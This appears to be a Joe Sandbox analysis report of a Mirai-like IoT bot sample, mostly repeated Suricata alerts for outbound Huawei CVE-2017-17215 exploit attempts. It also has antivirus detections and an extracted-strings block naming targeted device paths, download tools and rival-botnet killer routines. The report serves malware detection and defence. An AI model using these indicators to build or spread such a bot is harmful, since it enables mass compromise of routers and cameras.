2024-09-25T14:15:19.944861+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40318	197.149.17.223	37215	TCP
2024-09-25T14:15:20.251757+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38470	197.246.4.176	37215	TCP
2024-09-25T14:15:20.255507+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51274	41.41.167.228	37215	TCP
2024-09-25T14:15:20.939334+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32942	41.156.119.25	37215	TCP
2024-09-25T14:15:20.939484+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54160	156.230.226.26	37215	TCP
2024-09-25T14:15:20.939554+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59478	41.129.214.90	37215	TCP
2024-09-25T14:15:20.939730+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58832	197.71.216.46	37215	TCP
2024-09-25T14:15:20.939819+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36974	197.152.171.86	37215	TCP
2024-09-25T14:15:20.940032+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56860	41.114.210.56	37215	TCP
2024-09-25T14:15:20.941312+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49890	41.200.102.33	37215	TCP
2024-09-25T14:15:20.943043+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41740	41.230.76.157	37215	TCP
2024-09-25T14:15:20.945172+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60774	156.155.229.161	37215	TCP
2024-09-25T14:15:20.954862+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40474	41.80.127.101	37215	TCP
2024-09-25T14:15:20.954907+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38872	197.70.99.57	37215	TCP
2024-09-25T14:15:20.971208+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39986	156.123.145.183	37215	TCP
2024-09-25T14:15:20.988226+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40164	197.235.235.125	37215	TCP
2024-09-25T14:15:21.189191+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39118	156.23.251.110	37215	TCP
2024-09-25T14:15:21.189273+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45342	41.235.20.186	37215	TCP
2024-09-25T14:15:21.204715+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41200	41.126.193.229	37215	TCP
2024-09-25T14:15:21.205055+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43140	197.193.57.133	37215	TCP
2024-09-25T14:15:21.205068+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34172	197.226.46.134	37215	TCP
2024-09-25T14:15:21.205112+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45146	197.110.27.102	37215	TCP
2024-09-25T14:15:21.206353+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54766	41.211.45.210	37215	TCP
2024-09-25T14:15:21.206497+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34480	197.241.244.237	37215	TCP
2024-09-25T14:15:21.206568+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46262	156.38.104.75	37215	TCP
2024-09-25T14:15:21.206683+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39344	41.190.110.11	37215	TCP
2024-09-25T14:15:21.208895+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56856	156.192.213.185	37215	TCP
2024-09-25T14:15:21.220366+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48096	41.77.197.130	37215	TCP
2024-09-25T14:15:22.220676+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49648	156.250.90.223	37215	TCP
2024-09-25T14:15:22.220975+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35694	197.189.122.210	37215	TCP
2024-09-25T14:15:22.221151+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34188	156.194.38.243	37215	TCP
2024-09-25T14:15:22.222238+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50450	156.222.157.251	37215	TCP
2024-09-25T14:15:22.222517+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39696	156.129.220.0	37215	TCP
2024-09-25T14:15:22.222523+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44102	41.22.152.11	37215	TCP
2024-09-25T14:15:22.222644+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58204	41.189.190.203	37215	TCP
2024-09-25T14:15:22.222655+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49164	156.91.216.76	37215	TCP
2024-09-25T14:15:22.224058+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43222	41.4.247.238	37215	TCP
2024-09-25T14:15:22.240647+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42892	41.221.138.166	37215	TCP
2024-09-25T14:15:22.256838+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50650	197.156.94.135	37215	TCP
2024-09-25T14:15:22.987646+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38834	41.218.183.213	37215	TCP
2024-09-25T14:15:22.989376+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55124	156.56.249.107	37215	TCP
2024-09-25T14:15:23.002261+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46000	197.74.117.231	37215	TCP
2024-09-25T14:15:23.002361+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44614	41.244.218.72	37215	TCP
2024-09-25T14:15:23.002407+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50464	41.111.173.218	37215	TCP
2024-09-25T14:15:23.005620+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34656	156.228.233.179	37215	TCP
2024-09-25T14:15:23.005963+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40958	156.25.252.77	37215	TCP
2024-09-25T14:15:23.229465+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56750	41.238.137.124	37215	TCP
2024-09-25T14:15:23.229476+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44006	197.121.75.64	37215	TCP
2024-09-25T14:15:23.229476+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34838	197.107.102.175	37215	TCP
2024-09-25T14:15:23.229487+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42812	197.139.171.201	37215	TCP
2024-09-25T14:15:23.229487+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49092	41.54.237.9	37215	TCP
2024-09-25T14:15:23.229555+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33654	197.208.255.83	37215	TCP
2024-09-25T14:15:23.229557+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45152	156.183.219.185	37215	TCP
2024-09-25T14:15:23.229565+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56338	41.169.90.245	37215	TCP
2024-09-25T14:15:23.229583+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35724	41.36.103.244	37215	TCP
2024-09-25T14:15:23.236067+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38320	41.54.47.156	37215	TCP
2024-09-25T14:15:23.257370+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51590	156.208.8.143	37215	TCP
2024-09-25T14:15:23.302695+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55530	197.111.187.55	37215	TCP
2024-09-25T14:15:24.873374+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33640	197.207.38.63	37215	TCP
2024-09-25T14:15:24.873395+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56594	156.69.178.135	37215	TCP
2024-09-25T14:15:24.873399+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45664	197.185.10.79	37215	TCP
2024-09-25T14:15:24.873399+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41484	197.196.40.220	37215	TCP
2024-09-25T14:15:24.873399+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54678	156.79.243.59	37215	TCP
2024-09-25T14:15:24.873406+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35450	41.2.54.79	37215	TCP
2024-09-25T14:15:24.873414+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41228	41.137.127.252	37215	TCP
2024-09-25T14:15:25.033061+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58464	197.61.111.144	37215	TCP
2024-09-25T14:15:25.050325+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51130	41.125.18.252	37215	TCP
2024-09-25T14:15:25.081602+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35528	41.107.59.132	37215	TCP
2024-09-25T14:15:25.267681+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46974	156.222.59.136	37215	TCP
2024-09-25T14:15:25.267837+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47068	197.169.168.225	37215	TCP
2024-09-25T14:15:25.269190+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56488	197.23.75.110	37215	TCP
2024-09-25T14:15:25.269536+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53546	156.231.54.8	37215	TCP
2024-09-25T14:15:25.271238+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33568	197.208.11.10	37215	TCP
2024-09-25T14:15:25.271363+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40146	156.163.85.134	37215	TCP
2024-09-25T14:15:25.271512+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34774	41.212.54.80	37215	TCP
2024-09-25T14:15:25.273216+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56094	156.213.170.93	37215	TCP
2024-09-25T14:15:25.273440+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53278	156.186.112.26	37215	TCP
2024-09-25T14:15:25.282413+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56692	41.45.9.94	37215	TCP
2024-09-25T14:15:25.282928+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41354	197.154.12.87	37215	TCP
2024-09-25T14:15:25.283060+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38838	197.227.217.15	37215	TCP
2024-09-25T14:15:25.283302+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40122	156.123.17.166	37215	TCP
2024-09-25T14:15:25.283560+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41902	197.44.83.25	37215	TCP
2024-09-25T14:15:25.284856+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55224	156.213.21.196	37215	TCP
2024-09-25T14:15:25.286834+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46758	197.74.55.78	37215	TCP
2024-09-25T14:15:25.287179+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59622	197.153.159.240	37215	TCP
2024-09-25T14:15:26.448693+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58838	156.238.157.62	37215	TCP
2024-09-25T14:15:28.094982+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43462	197.148.253.92	37215	TCP
2024-09-25T14:15:28.094994+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58950	197.4.214.116	37215	TCP
2024-09-25T14:15:28.095164+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36838	197.248.109.100	37215	TCP
2024-09-25T14:15:28.095177+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41682	156.132.69.45	37215	TCP
2024-09-25T14:15:28.095273+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60224	41.119.252.61	37215	TCP
2024-09-25T14:15:28.095298+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56198	197.112.170.75	37215	TCP
2024-09-25T14:15:28.095321+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49336	156.27.122.64	37215	TCP
2024-09-25T14:15:28.095371+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59578	41.142.222.198	37215	TCP
2024-09-25T14:15:28.095414+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53796	197.170.116.10	37215	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: rsJtZBgpwG.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: rsJtZBgpwG.elf

ReversingLabs: Detection: 63%

Source: rsJtZBgpwG.elf

String: /bin/busybox/var/Challenge/usr/sbin//usr/libsystemdvar/Kylin/var/Sofia/opt/topsee//sbin//mnt/home/hik/hicore/var/www/cgi-bin/admin_console_core.cgi/mnt/flash/bin/qrcode_decode_arm/mnt/flash/bin/Community_proxy_arm/usr/bin/lua/usr/bin/switchtelnetd/usr/bin/httpd/dev/upnp/tmp/vasdocker/bin//usr/share/ipcam/app/root/dvr_app/dvr_app/root/dvr_gui/dvr_gui/z/zbin/dvr_box/edvr//opt/www/cgi-bin/ping_test.cgiwifi_tools/hostapddoomsbind00msd4y./usr/share/ipcam/wifi_tools/hostapd/z/bin/mini_httpd/bin/telnetd/bin/msntp/bin/pc/z/bin/smartctl/z/zbin/IPC_Robot/main/edvr/lighttpd/lighttpd/usr/bin/upnpc/main/usr/sbin/dhcpd/usr/bin/sleepd00msd4y/usr/bin/ps/wget/tftp/ftpget/curl/reboot/echo/htop/top/pkill/bin/login/kill/busyboxaisuruzhrlzrd(deleted)dvr.arm.mips.mpsl.mipsel.sh4.x86.ppc.m68k/..suruHoserronildupdate.j.inyadongspizzaapepbuild./hbotmikawgetftprebootcurl/bash/lib/var//tmp//usr/devCipherMoziswiftcampsoraAquaboatnetboatCoronakbotfbottbot.miraimoobotBigBotPeinAndoryuAcidFridayOrfenCayosinCondiApexHiroshimaloki/logindvrLockerdvrInside/proc/self/exed00mstoleyourboat.pirate[killer] Resolved domainsocket/proc//fd/[locker] PATH=[killer] [sys] PATH=[killer] PATH= terminated on PID=/proc/%s/exe/proc/%s/maps/proc/%s/cmdline

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53682 -> 41.75.87.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59754 -> 197.8.24.240:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49178 -> 197.7.143.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51866 -> 197.8.254.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56458 -> 197.232.26.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57780 -> 156.0.246.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52200 -> 197.128.136.140:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60842 -> 156.231.58.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45956 -> 156.236.134.70:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35076 -> 41.75.134.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46854 -> 156.118.30.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37168 -> 41.33.63.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35606 -> 156.156.225.97:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44234 -> 156.90.145.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52240 -> 41.214.69.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47632 -> 156.73.176.14:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53922 -> 197.7.86.235:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41636 -> 156.73.31.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41832 -> 156.167.82.254:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38828 -> 41.174.94.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56872 -> 156.212.237.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34266 -> 197.58.17.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46878 -> 41.88.166.171:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59528 -> 156.54.182.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57426 -> 156.251.233.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57140 -> 197.8.86.37:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53852 -> 41.112.146.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52692 -> 156.250.70.236:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46598 -> 156.239.122.27:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34480 -> 197.62.234.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59120 -> 41.236.198.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44888 -> 41.24.178.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43676 -> 41.17.167.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60866 -> 197.4.255.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33078 -> 197.122.68.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60448 -> 41.20.204.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47866 -> 41.186.58.182:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42122 -> 41.117.220.87:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38602 -> 197.211.194.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38586 -> 197.117.239.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60396 -> 197.136.135.76:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42618 -> 156.182.203.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46578 -> 156.5.157.97:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53092 -> 197.232.113.246:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44902 -> 156.129.215.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54974 -> 156.218.179.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32832 -> 197.137.197.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57410 -> 41.161.47.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37076 -> 197.193.248.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47978 -> 156.24.206.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48426 -> 156.37.55.251:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42828 -> 156.43.122.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50220 -> 41.35.202.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49694 -> 197.10.32.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54928 -> 156.186.222.188:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34792 -> 156.243.133.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52156 -> 156.142.59.249:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33980 -> 197.226.156.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44470 -> 156.122.208.214:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55606 -> 41.85.169.189:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57062 -> 197.213.83.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49128 -> 197.187.150.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40592 -> 156.231.211.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53700 -> 41.204.214.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55974 -> 197.22.8.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58588 -> 41.89.167.118:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40276 -> 41.190.5.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59818 -> 41.83.106.232:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47494 -> 156.217.57.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45202 -> 156.36.9.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57810 -> 156.205.173.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54552 -> 41.253.163.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58812 -> 41.216.108.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53184 -> 41.0.127.129:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52248 -> 197.239.226.40:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39490 -> 197.150.60.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54036 -> 41.7.172.29:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39966 -> 156.172.137.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55888 -> 41.138.112.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50448 -> 41.173.74.236:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54704 -> 41.126.121.77:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40712 -> 41.4.254.46:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54084 -> 197.44.240.204:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51654 -> 197.78.160.104:37215
